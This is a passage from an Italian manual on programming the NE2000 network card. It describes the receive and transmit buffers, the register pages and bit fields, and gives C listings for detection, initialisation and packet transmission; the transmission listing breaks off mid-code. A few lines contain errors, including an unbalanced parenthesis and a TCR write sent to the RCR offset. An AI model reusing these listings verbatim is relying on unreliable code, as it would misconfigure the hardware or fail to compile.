Quando la ricezione di un pacchetto fa sì che l'indice ***CURR*** raggiunga l'indice ***BNRY***, senza avere completato la ricezione, si ottiene uno straripamento, ma la porzione di pacchetto depositata nella coda non viene rimossa.

All'inizio di ogni pacchetto ricevuto appaiono 4 byte di intestazione, con le informazioni che si possono vedere nella figura successiva. A seconda di come avviene la lettura, l'ordine dei dati può variare: nella figura si ipotizza un accesso a byte singoli.

Figura 108.113. Esempio di blocco collocato all'indirizzo 4600_{16}, contenente un'intestazione e un pacchetto abbastanza corto da non superare il blocco stesso. Si osservi che la dimensione riportata nel terzo e quarto byte dell'intestazione, include i quattro byte dell'intestazione stessa.

blocco 46_{16}
indirizzo 4600_{16}

01 47 66 00 *pacchetto* *spazio avanzato alla fine del blocco*

receive status (01 == ok)

next packet pointer

receive byte count = 0066_{16}

La figura ipotizza che nel blocco di memoria 46_{16}, pari all'indirizzo 4600_{16}, sia stato annotato un pacchetto ricevuto, i cui primi quattro byte indicano una ricezione corretta e una dimensione di 0066_{16} byte. Se successivamente a questo pacchetto ne è stato ricevuto un altro, questo lo si trova a partire dal blocco 47_{16}, come annotato nel secondo byte dell'intestazione del primo.

108.11.3 Tampone di trasmissione

Sapendo che un pacchetto può occupare al massimo sei blocchi di memoria, per la trasmissione è sufficiente riservare un'area di sei blocchi, per esempio da 4000_{16} a $45FF_{16}$ (estremi inclusi).

Una volta collocato il pacchetto da trasmettere nella memoria interna dell'interfaccia, occorre indicare il blocco iniziale in cui si trova il pacchetto e la sua dimensione in byte, attraverso i registri ***TPSR*** (*transmit page start*), ***TBCR0*** e ***TBCR1*** (*transit byte count*), come si vede nella figura successiva.

Figura 108.114. Esempio di blocco da trasmettere, collocato all'indirizzo 4000_{16}, lungo 384 byte (un blocco e mezzo), con i valori da assegnare ai registri responsabili per l'invio.

blocco 40_{16} *indirizzo* 4000_{16}

blocco 41_{16} *indirizzo* 4100_{16}

indirizzo 4180_{16}

TPSR 40_{16}

pacchetto

blocco (pagina) *blocco (pagina)*

$384 = 180_{16}$

TBCR1 01_{16} **TBCR0** 80_{16}

Si osservi che il pacchetto da trasmettere contiene solo ciò che serve per una trama Ethernet; pertanto, quei quattro byte di intestazione che si trovano in ricezione, non ci sono affatto in trasmissione.

108.11.4 Trasferimento dati tra la memoria interna e quella dell'elaboratore

I pacchetti ricevuti e quelli da trasmettere, si trovano necessariamente nella memoria interna dell'interfaccia. Per trasferire i dati tra la memoria interna a quella dell'elaboratore, occorre comunicare attraverso la porta di comunicazione 10_{16}, più l'indirizzo relativo dell'interfaccia, ma prima va definita la posizione iniziale nella memoria interna, attraverso i registri ***RSAR0*** e ***RSAR1*** (*remote start address*), inoltre va specificata la quantità di byte da trasferire, con i registri ***RBCR0*** e ***RBCR1*** (*remote byte count*).

Figura 108.115. Lettura o scrittura di un'area di memoria interna. La variabile ***io*** dell'esempio rappresenta l'indirizzo di I/O dell'interfaccia, a cui poi si somma l'indirizzo relativo della porta di comunicazione (10_{16}).

indirizzo 4600_{16}

indirizzo 4750_{16}

RSAR0 = 00_{16}

RSAR1 = 46_{16}

$336 = 150_{16}$

RBCR0 = 50_{16}

RBCR1 = 01_{16}

lettura

```
for (i = 0; i < 336; i++)
  {
    buffer[i] = io_8 (0x10+io);
  }
```

scrittura

```
for (i = 0; i < 336; i++)
  {
    out_8 (0x10+io, buffer[i]);
  }
```

108.11.5 Registri e porte

Per la gestione dell'interfaccia di rete NE2000 è necessario accedere a dei registri, leggendo o scrivendo dei dati. Questi registri si raggiungono attraverso delle porte di I/O, di cui si conosce lo scostamento rispetto a un indirizzo iniziale. Per esempio, se l'interfaccia è configurata complessivamente per operare a partire dalla porta 0300_{16}, dovendo intervenire con la porta «dati», già vista in precedenza, che si trova nell'indirizzo relativo 10_{16}, in pratica occorre comunicare con la porta 0310_{16}. Quando si utilizza un'interfaccia connessa a un bus PCI, si ottiene l'indirizzo della porta iniziale dal campo ***BAR0***, azzerando i due bit meno significativi (sezione 108.10).

I registri sono raggruppati in tre pagine, numerate da zero a due, ma in ogni pagina si distingue tra registri in lettura o in scrittura. Nei casi più semplici, lo stesso registro è accessibile in lettura e scrittura nella stessa pagina, come nel caso del registro ***CURR***, nella pagina uno; in altre situazioni le cose si complicano, come nel caso dei registri ***PSTART*** e ***PSTOP*** a cui si accede in scrittura nella pagina zero, oppure in lettura nella pagina due.

Dal momento che con una stessa porta di comunicazione si possono individuare registri differenti, prima occorre selezionare una pagina, attraverso un comando che si impartisce con il registro ***CR*** (*command register*), il quale ha la particolarità di essere accessibile in tutte le pagine.

Tabella 108.116. Registri NE2000.

Scosta-mento	pagina 0 lettura	pagina 0 scrittura	pagina 1 lettura	pagina 1 scrittura	pagina 2 lettura	pagina 2 scrittura
00_{16}	***CR***	***CR***	***CR***	***CR***	***CR***	***CR***
01_{16}	***CLDA0***	***PSTART***	***PAR0***	***PAR0***	***PSTART***	***CLDA0***
02_{16}	***CLDA1***	***PSTOP***	***PAR1***	***PAR1***	***PSTOP***	***CLDA1***
03_{16}	***BNRY***	***BNRY***	***PAR2***	***PAR2***	--	--
04_{16}	***TSR***	***TPSR***	***PAR3***	***PAR3***	***TPSR***	--
05_{16}	***NCR***	***TBCR0***	***PAR4***	***PAR4***	--	--
06_{16}	***FIFO***	***TBCR1***	***PAR5***	***PAR5***	--	--
07_{16}	***ISR***	***ISR***	***CURR***	***CURR***	--	--
08_{16}	***CRDA0***	***RSAR0***	***MAR0***	***MAR0***	--	--
09_{16}	***CRDA1***	***RSAR1***	***MAR1***	***MAR1***	--	--
$0A_{16}$	--	***RBCR0***	***MAR2***	***MAR2***	--	--
$0B_{16}$	--	***RBCR1***	***MAR3***	***MAR3***	--	--
$0C_{16}$	***RSR***	***RCR***	***MAR4***	***MAR4***	***RCR***	--
$0D_{16}$	***CNTR0***	***TCR***	***MAR5***	***MAR5***	***TCR***	--
$0E_{16}$	***CNTR1***	***DCR***	***MAR6***	***MAR6***	***DCR***	--
$0F_{16}$	***CNTR2***	***IMR***	***MAR7***	***MAR7***	***IMR***	--

Tabella 108.117. Altre porte di comunicazione nelle interfacce di rete NE2000.

Scostamento	Descrizione
10_{16}-17_{16}	Accesso alla memoria interna (*remote DMA*).
18_{16}-$1F_{16}$	Azzeramento.

Figura 108.118. Sintesi dell'utilizzo del registro ***CR***, *command register*.

Figura 108.119. Sintesi dell'utilizzo del registro ***ISR***, *interrupt status register*.

ISR – interrupt status register

RST_7	RDC_6	CNT_5	OVW_4	TXE_3	RXE_2	PTX_1	PRX_0

PACKET RECEIVED
pacchetto ricevuto correttamente

PACKET TRANSMITTED
pacchetto trasmesso correttamente

RECEIVE ERROR
pacchetto ricevuto con errori di vario tipo

TRANSMIT ERROR
pacchetto trasmesso con errori

OVERWRITE WARNING
memoria di ricezione dei pacchetti esaurita

COUNTER OVERFLOW
uno dei contatori CNTRn ha raggiunto la capacità massima

REMOTE DMA COMPLETE
operazione di lettura o di scrittura della memoria completata

RESET STATUS
1 = recepito un comando STP (vedi registro CR)
0 = recepito un comando STA (vedi registro CR)

Figura 108.120. Sintesi dell'utilizzo del registro ***DCR***, *data configuration register*.

DCR – data configuration register

---7	FT1 6	FT0 5	ARM4	LS 3	LAS2	BOS1	WTS0

WORD TRANSFER SELECT
0 = lettura/scrittura memoria un byte alla volta
1 = lettura/scrittura memoria a 16 bit

BYTE ORDER SELECT
0 = little endian
1 = big endian
indifferente per le operazioni di lettura e scrittura
a byte singolo (quando WTS == 0)

LONG ADDRESS SELECT
0 = modalità 16 bit doppia
1 = modalità 32 bit singola

LOOPBACK SELECT
0 = loopback
1 = normale

AUTO–INITIALIZE REMOTE
0 = trasferimento dati manuale (controllato dal software)
1 = trasferimento automatico (auto DMA)

FIFO THRESHHOLD SELECT
0 0 due byte
0 1 quattro byte
1 0 otto byte
1 1 dodici byte

Figura 108.121. Sintesi dell'utilizzo del registro ***TCR***, *transmit configuration register*.

Figura 108.122. Sintesi dell'utilizzo del registro ***TSR***, *transmit status register*.

TSR – transmit status register

OWC_7	CDH_6	FU_5	CRS_4	ABT_3	COL_2	$---_1$	PTX_0

PACHET TRANSMITTED
pacchetto inviato senza errori
(implica ABT==0 e FU==0)

TRANSMIT COLLIDED
si è verificata almeno una collisione durante la trasmissione, ma ciò non esclude che la trasmissione possa essere stata completata ugualmente con successo

TRANSMIT ABORTED
trasmissione fallita a causa di un numero eccessivo di collisioni

CARRIER SENSE LOST
perdita della portante durante la trasmissione

FIFO UNDERRUN
flusso di dati interrotto (la trasmissione viene annullata)

CD HEARTBEAT
errore relativo al segnale CD (collision detect)

OUT OF WINDOW COLLISION
vedere la documentazione originale

Figura 108.123. Sintesi dell'utilizzo del registro ***RCR***, *receive configuration register*.

RCR – receive configuration register

---$_7$	---$_6$	MON$_5$	PRO$_4$	AM$_3$	AB$_2$	AR$_1$	SEP$_0$

SAVE ERRORED PACKETS
0 = operatività normale: pacchetti errati scartati
1 = pacchetti errati accettati ugualmente

ACCEPT RUNT PACHETS
0 = operatività normale: pacchetti troppo corti rifiutati
1 = pacchetti corti accettati

ACCEPT BROADCAST
accetta i pacchetti contenenti un indirizzo di destinazione pari a FF:FF:FF:FF:FF:FF

ACCEPT MULTICAST
accetta i pacchetti multicast

PROMISCUOUS PHYSICAL
0 = operatività normale: i pacchetti ricevuti devono essere destinati all'indirizzo annotato nei registri da PAR0 a PAR5
1 = modalità promisqua: tutti i pacchetti contenenti un indirizzo fisico di destinazione vengono accettati

MONITOR MODE
0 = operatività normale
1 = i pacchetti ricevuti vengono controllati e contati, ma non vengono salvati in memoria

Figura 108.124. Sintesi dell'utilizzo del registro ***RSR***, *receive status register*.

RSR – receive status register

DFR_7	DIS_6	PHY_5	MPA_4	FO_3	FAE_2	CRC_1	PRX_0

PACKET RECEIVED INTACT
pacchetto ricevuto correttamente
(implica: CRC=0, FAE=0, FO=0, MPA=0)

CRC ERROR
pacchetto non integro

FRAME ALIGNMENT ERROR
pacchetto non allineato

FIFO OVERRUN
straripamento della coda di ricezione

MISSED PACKET
il pacchetto non è stato salvato in memoria
(perché non c'è più spazio o perché il dispositivo è in modalità monitor)

PHYSICAL / MULTICAST ADDRESS
0 = il pacchetto è stato ricevuto in base alla corrispondenza con l'indirizzo fisico
1 = il pacchetto è stato ricevuto in quanto di tipo «broadcast» o «multicast»

RECEIVER DISABLED
0 = operatività normale
1 = modalità monitor attiva

DEFERERING
vedere la documentazione originale

108.11.6 Procedura di riconoscimento

Nel listato successivo si annota una procedura utile per riconoscere un'interfaccia NE2000, partendo dalla porta di I/O di partenza. Il procedimento è stato determinato leggendo il codice del kernel Linux, precisamente nel file '***linux***`/drivers/net/ne2k-pci.c`'. La variabile ***io*** rappresenta la porta di I/O iniziale, per accedere all'interfaccia; le funzioni ***in_8()*** e ***out_8()*** servono rispettivamente per leggere un byte da una porta o per scrivercelo.

```
int status;
int reg_00;
int reg_0d;
//
// Legge il registro CR (0x00), il quale non può restituire
// un valore pari a 0xFF.
//
reg_00 = in_8 (io + 0x00);
if (reg_00 == 0xFF)
```

```
  {
    return (-1);
  }
//
// Tenta di selezionare la seconda pagina di registri,
// attraverso la modifica del registro CR (0x00).
//
// .-------------------------------.
// |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
// |-------------------------------|
// | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0x61
// `-------------------------------'
//   \___/   \_______/           |
//     |         |               STOP
//     |         Abort/complete
//     |         remote DMA
//     Register
//     page 1
//
out_8 ((io + 0x00), 0x61);
//
// Legge e poi modifica il contenuto del registro MAR4 (0x0D nella
// seconda pagina).
//
reg_0d = in_8 (io + 0x0D);
out_8 (io + 0x0D, 0xFF);
//
// Tenta nuovamente di selezionare la prima pagina di registri.
//
// .-------------------------------.
// |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
// |-------------------------------|
// | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0x21
// `-------------------------------'
//   \___/   \_______/           |
//     |         |               STOP
//     |         Abort/complete
//     |         remote DMA
//     Register
//     page 0
//
out_8 ((io + 0x00), 0x21);
//
// Legge il contatore CNTR0 (0x0D).
//
in_8 (io + 0x0D);
//
// La lettura del contatore dovrebbe averlo azzerato: lo si rilegge
```

```
// per verificare questo fatto.
//
status = in_8 (io + 0x0D);
if (status)
  {
    //
    // Dal momento che il contatore non si è azzerato, non può
    // trattarsi di un'interfaccia NE2000, e molto probabilmente
    // lo scambio da una pagina all'altra di registri non ha avuto
    // effetto; per cui, viene ripristinato ciò che era contenuto
    // nella posizione 0x00 e 0x0D.
    //
    out_8 (io, reg_00);
    out_8 ((io + 0x0D), reg_0d);
    return (-1);
  }
//
// Se non si sono verificati casi di errore, è plausibile che si
// tratti di un'interfaccia NE2000.
//
return (0);
```

108.11.7 Procedura di inizializzazione

Una volta chiarito che alla porta ***io*** risponde un'interfaccia NE2000, si può procedere con la sua inizializzazione. Durante questa fase è importante determinare l'indirizzo fisico dell'interfaccia, il quale va poi trascritto nei registri da ***PAR0*** a ***PAR5***; inoltre si stabilisce la zona della memoria interna utilizzata per i pacchetti da trasmettere e per la coda di ricezione: viene usato lo stesso schema già apparso nella figura 108.111.

```
int     status;
int     i;
uint8_t sa_prom[12];
uint8_t par[6];
//
// Viene azzerata l'interfaccia, scrivendo nella porta 0x1F
//
status = in_8 (io + 0x1F);
out_8 ((io + 0x1F), 0xFF);
out_8 ((io + 0x1F), status);
//
// Dopo l'azzeramento occorre attendere che il registro ISR (0x07)
// segnali il recepimento di questo stato.
//
// Interrupt status register (ISR)
// .-------------------------------.
// |RST|RDC|CNT|OVW|TXE|RXE|PTX|PRX|
// |-------------------------------|
```

```
// | 1 | ? | ? | ? | ? | ? | ? | ? | 0x80
// `-------------------------------'
//   |
//   Reset status
//
while (1)
  {
    if (in_8 (io + 0x07) & 0x80)                                // ISR
      {
        //
        // Il registro ISR segnala l'azzeramento avvenuto e si esce
        // dal ciclo di attesa.
        //
        break;
      }
  }
//
// Azzera tutti gli indicatori del registro ISR (0x07).
//
out_8 ((io + 0x07), 0xFF);                                      // ISR
//
// Si procede con la lettura dell'indirizzo fisico, contenuto
// nella «SA-PROM» (station address PROM). Per prima cosa si
// imposta il registro CR (0x00), richiedendo la conclusione
// di ogni attività di trasferimento dati (in questo caso
// sarebbe superfluo, ma non può far male).
//
// Command register (CR)
// .-------------------------------.
// |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
// |-------------------------------|
// | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0x21
// `-------------------------------'
//  \_____/ \_________/          |
//     |         |               STOP
//     |         |
//     |         Abort/complete
//     |         remote DMA
//     |
//     Register
//     page 0
//
out_8 ((io + 0x00), 0x21);                                      // CR
//
// Come già avvenuto in precedenza, si attende che il registro
// ISR (0x07) confermi l'avvenuto azzeramento.
//
// Interrupt status register (ISR)
```

```
// .-------------------------------.
// |RST|RDC|CNT|OVW|TXE|RXE|PTX|PRX|
// |-------------------------------|
// | 1 | ? | ? | ? | ? | ? | ? | ? | 0x80
// `-------------------------------'
//    |
//   Reset status
//
while (1)
  {
    if (in_8 (io + 0x07) & 0x80)                                // ISR
      {
        //
        // Il registro ISR segnala l'azzeramento avvenuto e si
        // azzera l'indicatore relativo, senza interferire con gli
        // altri.
        //
        out_8 ((io + 0x07), 0x80);                              // ISR
        break;
      }
  }
//
// Si procede con la configurazione necessaria per poter leggere
// dei dati dalla memoria interna, impostando il registro DCR (0x0E).
//
// Data configuration register (DCR)
// .-------------------------------.
// | - |FT1|FT0|ARM| LS|LAS|BOS|WTS|
// |-------------------------------|
// | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0x48
// `-------------------------------'
//      \_____/  :   |   :   :   :
//         |     :   |   :   :   Byte DMA transfer
//         |     :   |   :   :
//         |     :   |   :   Little endian byte order
//         |     :   |   :
//         |     :   |   Dual 16 bit DMA mode
//         |     :   |
//         |     :   Loopback OFF (normal operation)
//         |     :
//         |     All packets removed from
//         |     Buffer Ring under program control
//         |
//         FIFO threshold 8 bytes
//
out_8 ((io + 0x0E), 0x48);
//
// Azzera i registri RBCRn (0x0A e 0x0B) che rappresentano la quantità
```

```
// di byte da trasferire.
//
out_8 ((io + 0x0A), 0x00);                                    // RBCR0
out_8 ((io + 0x0B), 0x00);                                    // RBCR1
//
// Disabilita tutti gli impulsi di interruzione, azzerando la maschera
// nel registro IMR (0x0F).
//
out_8 ((io + 0x0F), 0x00);                                    // IMR
//
// Azzera nuovamente tutti gli indicatori del registro ISR (0x07)
// assegnando tutti i bit a uno.
//
out_8 ((io + 0x07), 0xFF);                                    // ISR
//
// Configura il registro RCR (0x0C) in modo da rimanere in modalità
// monitor (per non accumulare i pacchetti eventualmente ricevuti).
//
// Receive configuration register (RCR)
// .-------------------------------.
// | - | - |MON|PRO| AM| AB| AR|SEP|
// |-------------------------------|
// | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0x20
// `-------------------------------'
//           |   :   :   :   :   :
//           |   :   :   :   :   Packets with receive errors are
//           |   :   :   :   :   rejected
//           |   :   :   :   :
//           |   :   :   :   Packets with fewer than 64 bytes rejected
//           |   :   :   :
//           |   :   :   Packets with broadcast destination rejected
//           |   :   :   accepted
//           |   :   :
//           |   :   Packets with multicast destination address
//           |   :   not checked
//           |   :
//           |   Physical address of node must match the station
//           |   address
//           |
//          Monitor mode: packets checked but not buffered to memory
//
out_8 ((io + 0x0C), 0x20);                                    // RCR
//
// Configura il registro TCR (0x0D) in modo da rimanere in modalità
// «loopback» (per non trasmettere pacchetti).
//
// Transmit configuration register (TCR)
// .-------------------------------.
```

```
// | - | - | - |OFST|ATD|LB1|LB0|CRC|
// |-------------------------------|
// | 0 | 0 | 0 | 0  | 0 | 0 | 1 | 0 | 0x02
// `-------------------------------'
//                       \_____/  :
//                          |     CRC appended by the transmitter
//                          |
//                          Internal loopback (mode 1)
//
out_8 ((io + 0x0D), 0x02);                                      // TCR
//
// Si procede finalmente indicando la quantità di byte da leggere
// dalla memoria. Dato che l'indirizzo Ethernet appare doppio, vanno
// letti 12 byte. Si devono impostare i registri RBCRn (0x0A e 0x0B),
// suddividendo la quantità nei due ottetti.
//
out_8 ((io + 0x0A), 12);                                        // RBCR0
out_8 ((io + 0x0B), 12 >> 8));                                  // RBCR1
//
// Si imposta la posizione iniziale di lettura a zero, da dove
// inizia l'informazione da leggere. Si impostano i registri
// RSARn (0x08 e 0x09).
//
out_8 ((io + 0x08), 0);                                         // RSAR0
out_8 ((io + 0x09), 0);                                         // RSAR1
//
// Si imposta il registro CR (0x00) per iniziare la lettura.
//
// Command register (CR)
// .-------------------------------.
// |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
// |-------------------------------|
// | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0x0A
// `-------------------------------'
//   \___/   \_______/       |
//     |         |           START
//     |         Read
//     |
//     Register
//     page 0
//
out_8 ((io + 0x00), 0x0A);                                      // CR
//
// Attraverso la porta di comunicazione 0x10 si leggono i dati
// richiesti, salvandoli opportunamente.
//
for (i = 0; i < 12; i++)
  {
```

```
    sa_prom[i] = in_8 (io + 0x10);                              // DATA
  }
//
// Si trasferiscono i dati utili nell'array che contiene l'indirizzo
// fisico dell'interfaccia.
//
par[0] = sa_prom[0];
par[1] = sa_prom[2];
par[2] = sa_prom[4];
par[3] = sa_prom[6];
par[4] = sa_prom[8];
par[5] = sa_prom[10];
//
// Dopo l'azzeramento iniziale e l'acquisizione dell'indirizzo fisico,
// si procede finalmente con la sequenza di inizializzazione finale.
// Di nuovo si ferma tutto con il registro CR (0x00).
//
// Command register (CR)
// .-------------------------------.
// |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
// |-------------------------------|
// | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0x21
// `-------------------------------'
//  \_____/ \__________/          |
//     |         |               STOP
//     |         |
//     |        Abort/complete
//     |        remote DMA
//     |
//    Register
//    page 0
//
out_8 ((io + 0x00), 0x21);                                      // CR
//
// A questo punto, il registro ISR (0x07) potrebbe riportare
// lo stato di azzeramento, oppure quello di completamento
// del trasferimento dati tra la memoria interna e quella
// esterna. Tuttavia, la sua interrogazione non dovrebbe essere
// necessaria.
//
// Si imposta il registro DCR (0x0E) per una modalità di funzionamento
// normale.
//
// Data configuration register (DCR)
// .-------------------------------.
// | - |FT1|FT0|ARM| LS|LAS|BOS|WTS|
// |-------------------------------|
// | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0x48
```

```
// `-------------------------------'
//       \_____/  :   |   :   :   :
//          |     :   |   :   :   Byte DMA transfer
//          |     :   |   :   :
//          |     :   |   :   Little endian byte order
//          |     :   |   :
//          |     :   |   Dual 16 bit DMA mode
//          |     :   |
//          |     :   Loopback OFF (normal operation)
//          |     :
//          |    Send Command non executed: all packets removed from
//          |    Buffer Ring under program control
//          |
//         FIFO threshold 8 bytes
//
out_8 ((io + 0x0E), 0x48);                                      // DCR
//
// Azzera i registri RBCRn (0x0A e 0x0B).
//
out_8 ((io + 0x0A), 0);                                         // RBCR0
out_8 ((io + 0x0B), 0);                                         // RBCR1
//
// Imposta il registro RCR (0x0C) per un funzionamento normale.
//
// Receive configuration register (RCR)
// .-------------------------------.
// | - | - |MON|PRO| AM| AB| AR|SEP|
// |-------------------------------|
// | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0x04
// `-------------------------------'
//           :   :   :   |   :   :
//           :   :   :   |   :   Packets with receive errors are
//           :   :   :   |   :   rejected
//           :   :   :   |   :
//           :   :   :   |   Packets with less than 64 bytes rejected
//           :   :   :   |
//           :   :   :   Packets with broadcast destination address
//           :   :   :   accepted
//           :   :   :
//           :   :   Packets with multicast destination address
//           :   :   not checked
//           :   :
//           :   Physical address of node must match the station
//           :   address
//           :
//          Packets buffered to memory
//
out_8 ((io + 0x0C), 0x04);                                      // RCR
```

```
//
// Con il registro TPSR (0x04) configura la «pagina» iniziale
// dell'area di memoria usata per collocare i pacchetti da
// trasmettere: 0x40 (pari all'indirizzo 0x4000).
//
out_8 ((io + 0x04), 0x40);                                   // TPSR
//
// Per il momento si lascia il trasmettitore in modalità «loopback».
//
// Transmit configuration register (TCR)
// .-------------------------------.
// | - | - | - |OFST|ATD|LB1|LB0|CRC|
// |-------------------------------|
// | 0 | 0 | 0 | 0  | 0 | 0 | 1 | 0 | 0x02
// `-------------------------------'
//                       \_____/  :
//                          |    CRC appended by the transmitter
//                          |
//                          Internal loopback (mode 1)
//
out_8 ((io + 0x0C), 0x02);                                   // TCR
//
// Imposta la pagina iniziale per la coda di ricezione dei pacchetti,
// con il registro PSTART (0x01). Si indica 0x46, pari all'indirizzo
// 0x4600.
//
out_8 ((io + 0x01), 0x46);                                   // PSTART
//
// Imposta l'indice di lettura, attraverso il registro BNRY (0x03).
// All'inizio questo indice coincide con la pagina iniziale
// della coda di ricezione.
//
out_8 ((io + 0x03), 0x46);                                   // BNRY
//
// Imposta la pagina di memoria finale della coda di ricezione
// (precisamente si tratta della pagina successiva alla fine della
// coda), attraverso il registro PSTOP (0x02). Viene indicata la pagina
// 0xC0, pari all'indirizzo 0xC000.
//
out_8 ((io + 0x02), 0xC0);                                   // PSTOP
//
// Utilizza il registro CR (0x00) per passare alla seconda pagina
// di registri.
//
// Command register (CR)
// .-------------------------------.
// |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
// |-------------------------------|
```

```
// | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0x61
// `-------------------------------'
//  \_____/ \_________/          |
//     |         |               STOP
//     |         |
//     |         Abort/complete
//     |         remote DMA
//     |
//     Register
//     page 1
//
out_8 ((io + 0x00), 0x61);                                  // CR
//
// Imposta i registri PARn e MARn con l'indirizzo fisico e l'indirizzo
// multicast. I registri PARn vanno da 0x01 a 0x06; i registri MARn
// vanno da 0x08 a 0x0F.
//
out_8 ((io + 0x01), par[0]);                                // PAR0
out_8 ((io + 0x02), par[1]);                                // PAR1
out_8 ((io + 0x03), par[2]);                                // PAR2
out_8 ((io + 0x04), par[3]);                                // PAR3
out_8 ((io + 0x05), par[4]);                                // PAR4
out_8 ((io + 0x06), par[5]);                                // PAR5
//
out_8 ((io + 0x08), 0);                                     // MAR0
out_8 ((io + 0x09), 0);                                     // MAR1
out_8 ((io + 0x0A), 0);                                     // MAR2
out_8 ((io + 0x0B), 0);                                     // MAR3
out_8 ((io + 0x0C), 0);                                     // MAR4
out_8 ((io + 0x0D), 0);                                     // MAR5
out_8 ((io + 0x0E), 0);                                     // MAR6
out_8 ((io + 0x0F), 0);                                     // MAR7
//
// Imposta l'indice di scrittura nella coda di ricezione, per i
// i pacchetti ricevuti. Per questo si usa il registro CURR (0x07).
// Viene indicata la pagina di memoria iniziale della coda di ricezione.
//
out_8 ((io + 0x07), 0x46);                                  // CURR
//
// Attraverso il registro CR (0x00) viene ripristinata la prima pagina
// di registri e viene attivata l'interfaccia.
//
// Command register (CR)
// .-------------------------------.
// |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
// |-------------------------------|
// | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0x22
// `-------------------------------'
```

```
//  \_____/ \__________/      |
//      |         |           START
//      |         |
//      |         Abort/complete
//      |         remote DMA
//      |
//      Register
//      page 0
//
out_8 ((io + 0x00), 0x22);                                      // CR
//
// Si azzerano tutti gli indicatori del registro ISR (0x07).
//
out_8 ((io + 0x07), 0xFF);                                      // ISR
//
// A questo punto bisogna decidere se si vogliono ottenere dei
// segnali di interruzione, o meno. Nel caso si vogliano gestire
// le interruzioni, potrebbe essere conveniente abilitare quelle
// generate da un errore di trasmissione (0x08), dalla conclusione
// corretta di una trasmissione (0x02) e dalla ricezione corretta
// di un pacchetto (0x01). In tal caso, la maschera da adottare
// dovrebbe essere 0x0B.
//
// Tuttavia, volendo interrogare l'interfaccia in modo regolare,
// senza utilizzare le interruzioni, si può azzerare la maschera
// del registro IMR (0x0F), come in questo caso.
//
out_8 ((io + 0x0F), 0x00);                                      // IMR
//
// Azzera il registro TCR (0x0D) per ottenere una modalità normale
// del funzionamento del trasmettitore (non più in «loopback»).
//
// Transmit configuration register (TCR)
// .--------------------------------.
// | - | - | - |OFST|ATD|LB1|LB0|CRC|
// |--------------------------------|
// | 0 | 0 | 0 | 0  | 0 | 0 | 0 | 0 | 0x00
// `--------------------------------'
//
out_8 ((io + 0x0D), 0x00);                                      // TCR
//
// Fine del procedimento di inizializzazione.
//
return (0);
```

108.11.8 Trasmissione di un pacchetto

Per la trasmissione è sufficiente riservare un'area di memoria interna pari alla dimensione massima che un pacchetto singolo può occupare. In pratica si tratta di 1 536 byte, pari a sei blocchi (pagine) da 256 byte. Negli esempi apparsi in precedenza, lo spazio destinato alla trasmissione è stato collocato tra 4000_{16} e $45FF_{16}$, estremi inclusi.

Avendo già impostato l'interfaccia come descritto nella sezione precedente, per poter trasmettere un pacchetto occorre scriverlo nell'area di memoria interna prevista e poi richiederne la trasmissione. Durante questa fase può succedere di scoprire che il trasmettitore sia già impegnato, per cui conviene rinunciare e riprovare in un momento successivo. D'altra parte, in un momento successivo alla trasmissione occorre verificare che non si sia presentato un errore nella trasmissione stessa (eventualmente a seguito della ricezione di un'interruzione, se abilitata).

Nel listato successivo, ***buffer*** è un puntatore a un'area di memoria dell'elaboratore, contenente il pacchetto da trasmettere, mentre ***size*** contiene la dimensione complessiva in byte del pacchetto stesso. La variabile ***io*** rappresenta sempre la porta di I/O iniziale, per accedere all'interfaccia.

```
int      i;
int      status;
uint8_t *b = buffer;
//
// Si legge il registro CR (0x00) per determinare se l'interfaccia
// è già in fase di trasmissione. Nel caso, occorre rinunciare per
// riprovare in un momento successivo.
//
// Command register (CR)
// .-------------------------------.
// |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
// |-------------------------------|
// | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 0x26
// `-------------------------------'
//  \_____/ \_________/  |   |
//     |         |       |  Start
//     |         |      Transmit packet
//     |        Abort/complete
//     |        remote DMA
//    Register
//    page 0
//
status = in_8 (io + 0x00);                                      // CR
if (status == 0x26)
  {
    errset (EBUSY);
    return (-1);
  }
//
// Si immette la dimensione da trasmettere nei registri RBCRn
// (0x0A e 0x0B).
```

```
//
out_8 ((io + 0x0A), (size & 0xFF));                            // RBCR0
out_8 ((io + 0x0B), (size >> 8));                              // RBCR1
//
// Si indica la posizione iniziale della memoria interna in cui
// depositare la copia del pacchetto da trasmettere (0x4000).
// Si utilizzano per questo i registri RSARn (0x08 e 0x09).
//
out_8 ((io + 0x08), 0x00);                                     // RSAR0
out_8 ((io + 0x09), 0x40);                                     // RSAR1
//
// Si dichiara l'intenzione di procedere con una scrittura
// nella memoria interna.
//
// Command register (CR)
// .-------------------------------.
// |PS1|PS0|RD2|RD1|RD0|TXP|STA|STP|
// |-------------------------------|
// | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0x12
// `-------------------------------'
//  \_____/ \_________/      |
//     |         |          Start
//     |         |
//     |        Write
//     Register
//     page 0
//
out_8 ((io + 0x00), 0x12);                                     // CR
//
// Si procede con il trasferimento della copia del pacchetto,
// attraverso la scrittura della porta 0x10.
//
for (i = 0; i < size; i++)
  {
    out_8 ((io + 0x10), b[i]);                                 // DATA
  }
//
// Si attende che il registro ISR (0x07) confermi il completamento
// dell'operazione.
//
// Interrupt status register (ISR)
// .-------------------------------.
// |RST|RDC|CNT|OVW|TXE|RXE|PTX|PRX|
// |-------------------------------|
// | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0x40
// `-------------------------------'
//       |
//       Remote DMA complete
```

```
//
while (1)
  {
